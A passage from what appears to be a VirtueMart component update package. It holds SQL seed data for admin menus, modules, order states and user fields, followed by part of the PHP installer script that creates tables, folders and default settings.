'COM_VIRTUEMART_PRODUCT_INVENTORY', '', '', 'vmicon vmicon-16-price_watch', 7, 1, '', 'inventory', ''), (null, 1, 0, 'COM_VIRTUEMART_CALC_S', '', '', 'vmicon vmicon-16-calculator', 8, 1, '', 'calc', ''), (null, 1, 0, 'COM_VIRTUEMART_REVIEW_RATE_S', '', '', 'vmicon vmicon-16-comments', 9, 1, '', 'ratings', ''), (null, 2, 0, 'COM_VIRTUEMART_ORDER_S', '', '', 'vmicon vmicon-16-page_white_stack', 1, 1, '', 'orders', ''), (null, 2, 0, 'COM_VIRTUEMART_COUPON_S', '', '', 'vmicon vmicon-16-shopping', 10, 1, '', 'coupon', ''), (null, 2, 0, 'COM_VIRTUEMART_REPORT', '', '', 'vmicon vmicon-16-chart_bar', 3, 1, '', 'report',''), (null, 2, 0, 'COM_VIRTUEMART_USER_S', '', '', 'vmicon vmicon-16-user', 4, 1, '', 'user', ''), (null, 2, 0, 'COM_VIRTUEMART_SHOPPERGROUP_S', '', '', 'vmicon vmicon-16-user-group', 5, 1, '', 'shoppergroup', ''), (null, 3, 0, 'COM_VIRTUEMART_MANUFACTURER_S', '', '', 'vmicon vmicon-16-wrench_orange', 1, 1, '', 'manufacturer', ''), (null, 3, 0, 'COM_VIRTUEMART_MANUFACTURER_CATEGORY_S', '', '', 'vmicon vmicon-16-folder_wrench', 2, 1, '', 'manufacturercategories', ''), (null, 4, 0, 'COM_VIRTUEMART_STORE', '', '', 'vmicon vmicon-16-reseller_account_template', 1, 1, '', 'user', 'editshop'), (null, 4, 0, 'COM_VIRTUEMART_MEDIA_S', '', '', 'vmicon vmicon-16-pictures', 2, 1, '', 'media', ''), (null, 4, 0, 'COM_VIRTUEMART_SHIPMENTMETHOD_S', '', '', 'vmicon vmicon-16-lorry', 3, 1, '', 'shipmentmethod', ''), (null, 4, 0, 'COM_VIRTUEMART_PAYMENTMETHOD_S', '', '', 'vmicon vmicon-16-creditcards', 4, 1, '', 'paymentmethod', ''), (null, 5, 0, 'COM_VIRTUEMART_CONFIGURATION', '', '', 'vmicon vmicon-16-config', 1, 1, '', 'config', ''), (null, 5, 0, 'COM_VIRTUEMART_USERFIELD_S', '', '', 'vmicon vmicon-16-participation_rate', 2, 1, '', 'userfields', ''), (null, 5, 0, 'COM_VIRTUEMART_ORDERSTATUS_S', '', '', 'vmicon vmicon-16-document_editing', 3, 1, '', 'orderstatus', ''), (null, 5, 0, 'COM_VIRTUEMART_CURRENCY_S', '', '', 'vmicon vmicon-16-coins', 5, 1, '', 'currency', ''), (null, 5, 0, 'COM_VIRTUEMART_COUNTRY_S', '', '', 'vmicon vmicon-16-globe', 6, 1, '', 'country', ''), (null, 11, 0, 'COM_VIRTUEMART_MIGRATION_UPDATE', '', '', 'vmicon vmicon-16-installer_box', 1, 1, '', 'updatesmigration', ''), (null, 11, 0, 'COM_VIRTUEMART_ABOUT', '', '', 'vmicon vmicon-16-info', 3, 1, '', 'about', ''), (null, 11, 0, 'COM_VIRTUEMART_HELP_TOPICS', 'http://docs.virtuemart.net/', '', 'vmicon vmicon-16-help', 4, 1, '', '', ''), (null, 11, 0, 'COM_VIRTUEMART_COMMUNITY_FORUM', 'http://forum.virtuemart.net/', '', 'vmicon vmicon-16-reseller_programm', 6, 1, '', '', ''), (null, 11, 0, 'COM_VIRTUEMART_STATISTIC_SUMMARY', '', '', 'vmicon vmicon-16-info', 1, 1, '', 'virtuemart', ''), (null, 77, 0, 'COM_VIRTUEMART_USER_GROUP_S', '', '', 'vmicon vmicon-16-user', 2, 1, '', 'usergroups', ''), (null, 11, 0, 'COM_VIRTUEMART_LOG', '', '', 'vmicon vmicon-16-info', 2, 1, '', 'log', ''); -- -- Dumping data for table `#__virtuemart_modules` -- INSERT INTO `#__virtuemart_modules` (`module_id`, `module_name`, `module_description`, `module_perms`, `published`, `is_admin`, `ordering`) VALUES (1, 'product', 'Here you can administer your online catalog of products. Categories , Products (view=product), Attributes ,Product Types Product Files (view=media), Inventory , Calculation Rules ,Customer Reviews ', 'storeadmin,admin', 1, '1', 1), (2, 'order', 'View Order and Update Order Status: Orders , Coupons , Revenue Report ,Shopper , Shopper Groups ', 'admin,storeadmin', 1, '1', 2), (3, 'manufacturer', 'Manage the manufacturers of products in your store.', 'storeadmin,admin', 1, '1', 3), (4, 'store', 'Store Configuration: Store Information, Payment Methods , Shipment, Shipment Rates', 'storeadmin,admin', 1, '1', 4), (5, 'configuration', 'Configuration: shop configuration , currencies (view=currency), Credit Card List, Countries, userfields, order status ', 'admin,storeadmin', 1, '1', 5), (6, 'msgs', 'This module is unprotected an used for displaying system messages to users. We need to have an area that does not require authorization when things go wrong.', 'none', 0, '0', 99), (7, 'shop', 'This is the Washupito store module. This is the demo store included with the VirtueMart distribution.', 'none', 1, '0', 99), (8, 'store', 'Store Configuration: Store Information, Payment Methods , Shipment, Shipment Rates', 'storeadmin,admin', 1, '1', 4), (9, 'account', 'This module allows shoppers to update their account information and view previously placed orders.', 'shopper,storeadmin,admin,demo', 1, '0', 99), (10, 'checkout', '', 'none', 0, '0', 99), (11, 'tools', 'Tools', 'admin', 1, '1', 8), (13, 'zone', 'This is the zone-shipment module. Here you can manage your shipment costs according to Zones.', 'admin,storeadmin', 0, '1', 11); -- -- Dumping data for table `#__virtuemart_orderstates` -- INSERT INTO `#__virtuemart_orderstates` (`virtuemart_orderstate_id`, `order_status_code`, `order_status_name`, `order_status_description`, `order_stock_handle`, `ordering`, `virtuemart_vendor_id`) VALUES (null, 'P', 'COM_VIRTUEMART_ORDER_STATUS_PENDING', '', 'R',1, 1), (null, 'U', 'COM_VIRTUEMART_ORDER_STATUS_CONFIRMED_BY_SHOPPER', '', 'R',2, 1), (null, 'C', 'COM_VIRTUEMART_ORDER_STATUS_CONFIRMED', '', 'R', 3, 1), (null, 'X', 'COM_VIRTUEMART_ORDER_STATUS_CANCELLED', '', 'A',4, 1), (null, 'R', 'COM_VIRTUEMART_ORDER_STATUS_REFUNDED', '', 'A',5, 1), (null, 'S', 'COM_VIRTUEMART_ORDER_STATUS_SHIPPED', '', 'O',6, 1); -- -- Dumping data for table `#__virtuemart_userfields` -- INSERT INTO `#__virtuemart_userfields` (`virtuemart_userfield_id`, `virtuemart_vendor_id`, `userfield_jplugin_id`, `name`, `title`, `description`, `type`, `maxlength`, `size`, `required`, `cols`, `rows`, `value`, `default`, `registration`, `shipment`, `account`, `readonly`, `calculated`, `sys`, `params`, `ordering`, `shared`, `published`, `created_on`, `created_by`, `modified_on`, `modified_by`, `locked_on`, `locked_by`) VALUES (1, 0, 0, 'email', 'COM_VIRTUEMART_REGISTER_EMAIL', '', 'emailaddress', 100, 30, 1, NULL, NULL, NULL, NULL, 1, 0, 1, 0, 0, 1, NULL, 4, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (2, 0, 0, 'password', 'COM_VIRTUEMART_SHOPPER_FORM_PASSWORD_1', '', 'password', 25, 30, 1, NULL, NULL, NULL, NULL, 1, 0, 1, 0, 0, 1, NULL, 10, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (3, 0, 0, 'password2', 'COM_VIRTUEMART_SHOPPER_FORM_PASSWORD_2', '', 'password', 25, 30, 1, NULL, NULL, NULL, NULL, 1, 0, 1, 0, 0, 1, NULL, 12, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (4, 0, 0, 'agreed', 'COM_VIRTUEMART_I_AGREE_TO_TOS', '', 'checkbox', NULL, NULL, 1, NULL, NULL, NULL, NULL, 1, 0, 1, 0, 0, 1, NULL, 13, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (5, 0, 0, 'name', 'COM_VIRTUEMART_USER_DISPLAYED_NAME', '', 'text', 25, 30, 1, 0, 0, '', NULL, 1, 0, 1, 0, 0, 1, '', 8, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (6, 0, 0, 'username', 'COM_VIRTUEMART_USERNAME', '', 'text', 25, 30, 1, 0, 0, '', NULL, 1, 0, 1, 0, 0, 1, '', 6, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (7, 0, 0, 'address_type_name', 'COM_VIRTUEMART_USER_FORM_ADDRESS_LABEL', '', 'text', 32, 30, 1, NULL, NULL, NULL, 'Shipment', 0, 1, 0, 0, 0, 1, NULL, 16, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (8, 0, 0, 'delimiter_billto', 'COM_VIRTUEMART_USER_FORM_BILLTO_LBL', '', 'delimiter', 25, 30, 0, NULL, NULL, NULL, NULL, 1, 0, 1, 0, 0, 0, NULL, 18, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (9, 0, 0, 'company', 'COM_VIRTUEMART_SHOPPER_FORM_COMPANY_NAME', '', 'text', 64, 30, 0, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 20, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (10, 0, 0, 'title', 'COM_VIRTUEMART_SHOPPER_FORM_TITLE', '', 'select', 0, 210, 0, NULL, NULL, NULL, NULL, 1, 0, 1, 0, 0, 1, NULL, 22, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (11, 0, 0, 'first_name', 'COM_VIRTUEMART_SHOPPER_FORM_FIRST_NAME', '', 'text', 32, 30, 1, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 24, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (12, 0, 0, 'middle_name', 'COM_VIRTUEMART_SHOPPER_FORM_MIDDLE_NAME', '', 'text', 32, 30, 0, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 26, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (13, 0, 0, 'last_name', 'COM_VIRTUEMART_SHOPPER_FORM_LAST_NAME', '', 'text', 32, 30, 1, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 28, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (14, 0, 0, 'address_1', 'COM_VIRTUEMART_SHOPPER_FORM_ADDRESS_1', '', 'text', 64, 30, 1, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 30, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (15, 0, 0, 'address_2', 'COM_VIRTUEMART_SHOPPER_FORM_ADDRESS_2', '', 'text', 64, 30, 0, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 32, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (16, 0, 0, 'zip', 'COM_VIRTUEMART_SHOPPER_FORM_ZIP', '', 'text', 32, 30, 1, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 34, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (17, 0, 0, 'city', 'COM_VIRTUEMART_SHOPPER_FORM_CITY', '', 'text', 32, 30, 1, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 36, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (18, 0, 0, 'virtuemart_country_id', 'COM_VIRTUEMART_SHOPPER_FORM_COUNTRY', '', 'select', 0, 210, 1, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 38, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (19, 0, 0, 'virtuemart_state_id', 'COM_VIRTUEMART_SHOPPER_FORM_STATE', '', 'select', 0, 210, 1, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 40, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (20, 0, 0, 'phone_1', 'COM_VIRTUEMART_SHOPPER_FORM_PHONE', '', 'text', 32, 30, 0, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 42, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (21, 0, 0, 'phone_2', 'COM_VIRTUEMART_SHOPPER_FORM_PHONE2', '', 'text', 32, 30, 0, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 44, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (22, 0, 0, 'fax', 'COM_VIRTUEMART_SHOPPER_FORM_FAX', '', 'text', 32, 30, 0, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 46, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (23, 0, 0, 'delimiter_sendregistration', 'COM_VIRTUEMART_BUTTON_SEND_REG', '', 'delimiter', 25, 30, 0, NULL, NULL, NULL, NULL, 0, 0, 0, 0, 0, 0, NULL, 2, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (24, 0, 0, 'delimiter_userinfo', 'COM_VIRTUEMART_ORDER_PRINT_CUST_INFO_LBL', '', 'delimiter', NULL, NULL, 0, NULL, NULL, NULL, NULL, 1, 0, 1, 0, 0, 0, NULL, 14, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (25, 1, 0, 'tax_exemption_number', 'COM_VIRTUEMART_SHOPPER_FORM_TAXEXEMPTION_NBR', 'Vendors can set here a tax exemption number for a shopper. This field is only changeable by administrators.', 'text', 10, 0, 0, 0, 0, NULL, NULL, 0, 0, 1, 1, 0, 0, NULL, 48, 0, 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (26, 1, 0, 'tax_usage_type', 'COM_VIRTUEMART_SHOPPER_FORM_TAX_USAGE', 'Federal, national, educational, public, or similar often get a special tax. This field is only writable by administrators.', 'select', 0, 0, 0, 0, 0, NULL, NULL, 0, 0, 1, 1, 0, 0, NULL, 50, 0, 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0);PKsl>\3bb[com_virtuemart_update/administrator/components/com_virtuemart/install/script.virtuemart.phpnuW+Apath = JInstaller::getInstance()->getPath('extension_administrator'); if(empty($this->path)){ $this->path = JPATH_VM_ADMINISTRATOR; } require_once($this->path.DS.'helpers'.DS.'config.php'); JTable::addIncludePath($this->path.DS.'tables'); JModel::addIncludePath($this->path.DS.'models'); } public function checkIfUpdate(){ $update = false; if(empty($this->_db)) $this->_db = JFactory::getDBO(); $q = 'SHOW TABLES LIKE "%virtuemart_adminmenuentries%"'; //=>jos_virtuemart_shipment_plg_weight_countries $this->_db->setQuery($q); if($this->_db->loadResult()){ $q = "SELECT count(id) AS idCount FROM `#__virtuemart_adminmenuentries`"; $this->_db->setQuery($q); $result = $this->_db->loadResult(); if (empty($result)) { $update = false; } else { $update = true; } } else { $update = false; } $this->update = $update; return $update; } /** * Pre-process method (e.g. install/upgrade) and any header HTML * * @param string Process type (i.e. install, uninstall, update) * @param object JInstallerComponent parent * @return boolean True if VM exists, null otherwise */ public function preflight ($type, $parent=null) { //We want disable the redirect in the installation process if(version_compare(JVERSION,'1.6.0','ge')) { $q = 'DELETE FROM `#__menu` WHERE `menutype` = "main" AND (`link`="index.php?option=com_virtuemart" OR `alias`="virtuemart" )'; $this->_db = JFactory::getDbo(); $this->_db -> setQuery($q); $this->_db -> query(); $error = $this->_db->getErrorMsg(); if(!empty($error)){ $app = JFactory::getApplication(); $app ->enqueueMessage('Error deleting old vm admin menu (BE) '.$error); } } } /** * Install script * Triggers after database processing * * @param object JInstallerComponent parent * @return boolean True on success */ public function install ($loadVm = true) { if($loadVm) $this->loadVm(); if($this->checkIfUpdate()){ return $this->update($loadVm); } $_REQUEST['install'] = 1; $this -> joomlaSessionDBToMediumText(); // install essential and required data // should this be covered in install.sql (or 1.6's JInstaller::parseSchemaUpdates)? // if(!class_exists('VirtueMartModelUpdatesMigration')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'updatesMigration.php'); $params = JComponentHelper::getParams('com_languages'); $lang = $params->get('site', 'en-GB');//use default joomla $lang = strtolower(strtr($lang,'-','_')); $model = JModel::getInstance('updatesmigration', 'VirtueMartModel'); $model->execSQLFile($this->path.DS.'install'.DS.'install.sql',$lang); $model->execSQLFile($this->path.DS.'install'.DS.'install_essential_data.sql',$lang); $model->execSQLFile($this->path.DS.'install'.DS.'install_required_data.sql',$lang); //$id = $model->determineStoreOwner(); $model->setStoreOwner(); //copy sampel media $src = $this->path .DS. 'assets' .DS. 'images' .DS. 'vmsampleimages'; // if(version_compare(JVERSION,'1.6.0','ge')) { $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'.DS.'shipment'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'.DS.'payment'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'.DS.'category'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'.DS.'category'.DS.'resized'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'.DS.'manufacturer'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'.DS.'manufacturer'.DS.'resized'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'.DS.'product'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'.DS.'product'.DS.'resized'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'.DS.'forSale'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'.DS.'forSale'.DS.'invoices'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'.DS.'forSale'.DS.'resized'); $this->createIndexFolder(JPATH_ROOT .DS. 'images'.DS.'stories'.DS.'virtuemart'.DS.'typeless'); $dst = JPATH_ROOT .DS. 'images' .DS. 'stories' .DS. 'virtuemart'; $this->recurse_copy($src,$dst); if(!class_exists('GenericTableUpdater')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'tableupdater.php'); $updater = new GenericTableUpdater(); $updater->createLanguageTables(); $this->checkAddDefaultShoppergroups(); $this->displayFinished(false); //include($this->path.DS.'install'.DS.'install.virtuemart.html.php'); // perhaps a redirect to updatesMigration here rather than the html file? // $parent->getParent()->setRedirectURL('index.php?option=com_virtuemart&view=updatesMigration'); return true; } /** * creates a folder with empty html file * * @author Max Milbers * */ public function createIndexFolder($path){ if(!class_exists('JFile')) require(JPATH_VM_LIBRARIES.DS.'joomla'.DS.'filesystem'.DS.'file.php'); if(JFolder::create($path)) { if(!JFile::exists($path .DS. 'index.html')){ JFile::copy(JPATH_ROOT.DS.'components'.DS.'index.html', $path .DS. 'index.html'); } return true; } return false; } /** * Update script * Triggers after database processing * * @param object JInstallerComponent parent * @return boolean True on success */ public function update ($loadVm = true) { if($loadVm) $this->loadVm(); if(!$this->checkIfUpdate()){ return $this->install($loadVm); } //Delete Cache $cache = JFactory::getCache(); $cache->clean(); if(empty($this->_db)) $this->_db = JFactory::getDBO(); if(empty($this->path)) $this->path = JPATH_VM_ADMINISTRATOR; $params = JComponentHelper::getParams('com_languages'); $lang = $params->get('site', 'en-GB');//use default joomla $lang = strtolower(strtr($lang,'-','_')); if(!class_exists('VirtueMartModelUpdatesMigration')) require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'updatesmigration.php'); $model = new VirtueMartModelUpdatesMigration(); //JModel::getInstance('updatesmigration', 'VirtueMartModel'); $model->execSQLFile($this->path.DS.'install'.DS.'install.sql',$lang); $this -> joomlaSessionDBToMediumText(); $this->alterTable('#__virtuemart_product_prices', array( 'product_price_vdate' => '`product_price_publish_up` DATETIME NULL DEFAULT NULL AFTER `product_currency`', 'product_price_edate' => '`product_price_publish_down` DATETIME NULL DEFAULT NULL AFTER `product_price_publish_up`' )); $this->alterTable('#__virtuemart_medias', array( 'file_url' => '`file_url` varchar(900) NOT NULL DEFAULT ""', 'file_params' => '`file_params` varchar(17500)', 'file_url_thumb' => '`file_url_thumb` varchar(900) NOT NULL DEFAULT ""', ) ); $this->deleteReCreatePrimaryKey('#__virtuemart_userinfos','virtuemart_userinfo_id'); if(!class_exists('GenericTableUpdater')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'tableupdater.php'); $updater = new GenericTableUpdater(); $updater->updateMyVmTables(); $result = $updater->createLanguageTables(); $this->checkAddDefaultShoppergroups(); $this->adjustDefaultOrderStates(); $this->fixOrdersVendorId(); $this->updateAdminMenuEntries(); $this->fixConfigValues(); //copy sampel media $src = $this->path .DS. 'assets' .DS. 'images' .DS. 'vmsampleimages'; if(JFolder::exists($src)){ $dst = JPATH_ROOT .DS. 'images' .DS. 'stories' .DS. 'virtuemart'; $this->recurse_copy($src,$dst); } if($loadVm) $this->displayFinished(true); return true; } private function fixConfigValues(){ if (!class_exists( 'VmConfig' )) require(JPATH_COMPONENT_ADMINISTRATOR.DS.'helpers'.DS.'config.php'); VmConfig::loadConfig(); $data = array(); $list_limit = VmConfig::get('list_limit',0); if(!empty($list_limit)){ $data['llimit_init_BE'] = $list_limit; $data['llimit_init_FE'] = $list_limit; } $pagseq = VmConfig::get('pagination_sequence',0); if(!empty($pagseq)){ $data['pagseq'] = $pagseq; $data['pagseq_1'] = $pagseq; $data['pagseq_2'] = $pagseq; $data['pagseq_3'] = $pagseq; $data['pagseq_4'] = $pagseq; $data['pagseq_5'] = $pagseq; } $configModel = VmModel::getModel('config'); $configModel->store($data); } private function fixOrdersVendorId(){ $multix = Vmconfig::get('multix','none'); if( $multix == 'none'){ if(empty($this->_db)){ $this->_db = JFactory::getDBO(); } $q = 'SELECT `virtuemart_user_id` FROM #__virtuemart_orders WHERE virtuemart_vendor_id = "0" '; $this->_db->setQuery($q); $res = $this->_db->loadResult(); if($res){ //vmdebug('fixOrdersVendorId ',$res); $q = 'UPDATE #__virtuemart_orders SET `virtuemart_vendor_id`=1 WHERE virtuemart_vendor_id = "0" '; $this->_db->setQuery($q); $res = $this->_db->query(); $err = $this->_db->getErrorMsg(); if(!empty($err)){ vmError('fixOrdersVendorId update orders '.$err); } $q = 'UPDATE #__virtuemart_order_items SET `virtuemart_vendor_id`=1 WHERE virtuemart_vendor_id = "0" '; $this->_db->setQuery($q); $res = $this->_db->query(); $err = $this->_db->getErrorMsg(); if(!empty($err)){ vmError('fixOrdersVendorId update order_item '.$err); } } } } private function adjustDefaultOrderStates(){ if(empty($this->_db)){ $this->_db = JFactory::getDBO(); } $order_stock_handles = array('P'=>'R', 'C'=>'R', 'X'=>'A', 'R'=>'A', 'S'=>'O'); foreach($order_stock_handles as $k=>$v){ $q = 'SELECT `order_stock_handle` FROM `#__virtuemart_orderstates`'; $this->_db->setQuery($q); $res = $this->_db->query(); $err = $this->_db->getErrorMsg(); if(empty($res) and empty($err) ){ $q = 'UPDATE `#__virtuemart_orderstates` SET `order_stock_handle`="'.$v.'" WHERE `order_status_code`="'.$k.'" ;'; $this->_db->setQuery($q); if(!$this->_db->query()){ $app = JFactory::getApplication(); $app->enqueueMessage('Error: Install alterTable '.$this->_db->getErrorMsg() ); $ok = false; } } } } private function updateAdminMenuEntries() { if(empty($this->_db)){ $this->_db = JFactory::getDBO(); } $query = 'SELECT * FROM `#__virtuemart_adminmenuentries` WHERE `view` = "log" '; $this->_db->setQuery($query); $result = $this->_db->loadResult(); if(empty($result) || !$result ){ // get the module id of the migration $query = 'SELECT module_id FROM `#__virtuemart_adminmenuentries` WHERE `view` = "updatesmigration" '; $this->_db->setQuery($query); $module_id = $this->_db->loadResult(); if( $module_id){ $q = "INSERT INTO `#__virtuemart_adminmenuentries` (`id`, `module_id`, `parent_id`, `name`, `link`, `depends`, `icon_class`, `ordering`, `published`, `tooltip`, `view`, `task`) VALUES (null, ".$module_id.", 0, 'COM_VIRTUEMART_LOG', '', '', 'vmicon vmicon-16-info', 2, 1, '', 'log', '')"; $this->_db->setQuery($q); $this->_db->query(); $app = JFactory::getApplication(); $app->enqueueMessage('Added Log Menu entry ' ); } } } /** * @author Max Milbers * @param unknown_type $tablename * @param unknown_type $fields * @param unknown_type $command */ private function alterTable($tablename,$fields,$command='CHANGE'){ $ok = true; if(empty($this->_db)){ $this->_db = JFactory::getDBO(); } $query = 'SHOW COLUMNS FROM `'.$tablename.'` '; $this->_db->setQuery($query); $columns = $this->_db->loadResultArray(0); foreach($fields as $fieldname => $alterCommand){ if(in_array($fieldname,$columns)){ $query = 'ALTER TABLE `'.$tablename.'` '.$command.' COLUMN `'.$fieldname.'` '.$alterCommand; $this->_db->setQuery($query); if(!$this->_db->query()){ $app = JFactory::getApplication(); $app->enqueueMessage('Error: Install alterTable '.$this->_db->getErrorMsg() ); $ok = false; } } } return $ok; } /** * * @author Max Milbers * @param unknown_type $table * @param unknown_type $field * @param unknown_type $action * @return boolean This gives true back, WHEN it altered the table, you may use this information to decide for extra post actions */ private function checkAddFieldToTable($table,$field,$fieldType){ $query = 'SHOW COLUMNS FROM `'.$table.'` '; $this->_db->setQuery($query); $columns = $this->_db->loadResultArray(0); if(!in_array($field,$columns)){ $query = 'ALTER TABLE `'.$table.'` ADD '.$field.' '.$fieldType; $this->_db->setQuery($query); if(!$this->_db->query()){ $app = JFactory::getApplication(); $app->enqueueMessage('Error: Install checkAddFieldToTable '.$this->_db->getErrorMsg() ); return false; } else { vmdebug('checkAddFieldToTable added '.$field); return true; } } return false; } private function addToRequired($table,$fieldname,$fieldvalue,$insert){ if(empty($this->_db)){ $this->_db = JFactory::getDBO(); } $query = 'SELECT * FROM `'.$table.'` WHERE '.$fieldname.' = "'.$fieldvalue.'" '; $this->db->setQuery($query); $result = $this->db->loadResult(); if(empty($result) || !$result ){ $this->db->setQuery($insert); if(!$this->db->query()){ $app = JFactory::getApplication(); $app->enqueueMessage('Install addToRequired '.$this->db->getErrorMsg() ); } } } private function deleteReCreatePrimaryKey($tablename,$fieldname){ //Does not work, the keys must be regenerated // $query = 'ALTER TABLE `#__virtuemart_userinfos` CHANGE COLUMN `virtuemart_userinfo_id` `virtuemart_userinfo_id` INT(1) NOT NULL AUTO_INCREMENT FIRST'; // $this->_db->setQuery($query); // if(!$this->_db->query()){ // } else { // $query = 'ALTER TABLE `#__virtuemart_userinfos` AUTO_INCREMENT = 1'; // $this->_db->setQuery($query); // } $query = 'SHOW FULL COLUMNS FROM `'.$tablename.'` '; $this->_db->setQuery($query); $fullColumns = $this->_db->loadObjectList(); $force = false; if($force or $fullColumns[0]->Field==$fieldname and strpos($fullColumns[0]->Type,'char')!==false){ vmdebug('Old key found, recreate'); // Yes, I know, it looks senselesss to create a field without autoincrement, to add a key and then the autoincrement and then they key again. // But seems the only method to drop and recreate primary, which has already data in it //First drop it $fields = array($fieldname => ''); if($this->alterTable($tablename,$fields,'DROP')){ //Now make the field, nothing must be entered $added = $this->checkAddFieldToTable($tablename,$fieldname,"INT(1) UNSIGNED NOT NULL FIRST"); if($added){ //Yes it should be primary, ohh it gets sorted, great $q = 'ALTER TABLE `'.$tablename.'` ADD KEY (`'.$fieldname.'`)'; $this->_db->setQuery($q); if(!$this->_db->query()){ $app = JFactory::getApplication(); $app->enqueueMessage('Error: deleteReCreatePrimaryKey add KEY '.$this->_db->getErrorMsg() ); } //ahh, now we can make it auto_increment $fields = array($fieldname => '`'.$fieldname.'` INT(1) UNSIGNED NOT NULL AUTO_INCREMENT FIRST'); $this->alterTable($tablename,$fields); //Great, now it actually takes the attribute being a primary $q = 'ALTER TABLE `'.$tablename.'` ADD PRIMARY KEY (`'.$fieldname.'`)'; $this->_db->setQuery($q); if(!$this->_db->query()){ $app = JFactory::getApplication(); $app->enqueueMessage('Error: deleteReCreatePrimaryKey final add Primary '.$this->_db->getErrorMsg() ); } else { $q = 'ALTER TABLE `'.$tablename.'` DROP INDEX `'.$fieldname.'`'; $this->_db->setQuery($q); if(!$this->_db->query()){ $app->enqueueMessage('Error: deleteReCreatePrimaryKey final add Primary '.$this->_db->getErrorMsg() ); } } } } } } /** * Checks if both types of default shoppergroups are set * @author Max Milbers */ private function checkAddDefaultShoppergroups(){ $q = 'SELECT `virtuemart_shoppergroup_id` FROM `#__virtuemart_shoppergroups` WHERE `default` = "1" '; $this->_db = JFactory::getDbo(); $this->_db->setQuery($q); $res = $this->_db ->loadResult(); if(empty($res)){ $q = "INSERT INTO 